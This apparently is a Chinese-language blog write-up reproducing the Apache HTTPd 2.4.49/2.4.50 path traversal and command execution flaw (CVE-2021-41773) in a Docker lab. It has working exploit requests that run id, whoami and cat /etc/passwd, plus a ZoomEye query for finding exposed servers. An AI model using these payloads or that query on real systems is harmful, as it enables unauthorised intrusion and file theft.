0x01 漏洞简介:
Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。在Apache HTTPd 2.4.49版本中,存在一个 路径穿越漏洞。在配置了 Require all granted后,攻击者可利用路径穿越漏洞读取到Web目录之外的其他文件,比 如/etc/passwd文件。同时若Apache HTTPd开启了cgi支持,并能够访问到/bin/sh的情况下,攻击者可构造恶意请 求执行命令,从而控制服务器,危害严重。
0x02 影响版本:
ApacheHTTPd 2.4.49
ApacheHTTPd 2.4.50
0x03 漏洞等级:
高危
0x04 环境搭建:
这里提供两个搭建方法可自行选择
docker部署命令(一):
docker pull blueteamsteve/cve-2021-41773:with-cgid docker run -d -p 7006:80 blueteamsteve/cve-2021-41773:with-cgid
搭建成功访问是这个酱紫!
http://ip:7006
docker部署命令(二):
git clonehttps://github.com/blasty/CVE-2021-41773.git cd CVE-2021-41773/ docker-compose build docker-compose up -d
搭建成功访问是这个酱紫!
http://ip:8080
0x05 影响范围:
根据ZoomEye网络空间搜索引擎对潜在可能目标进行搜索,共得到 566,346 条IP历史记录。
ZoomEye语法:
app:"apache web server 2.4.49 2.4.50"
0x06 漏洞复现:
PoC:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 Host: ip:port Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 If-None-Match: "29cd-5ce4665e39700-gzip" If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMT Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 39 echo Content-Type: text/plain; echo; id
POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1 Host: ip:port Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 If-None-Match: "29cd-5ce4665e39700-gzip" If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMT Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 12 echo; whoami
curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'
标签:bin,HTTPd,41773,32%,application,65,2021,Apache,2e% From: https://www.cnblogs.com/1zzZ/p/17637671.html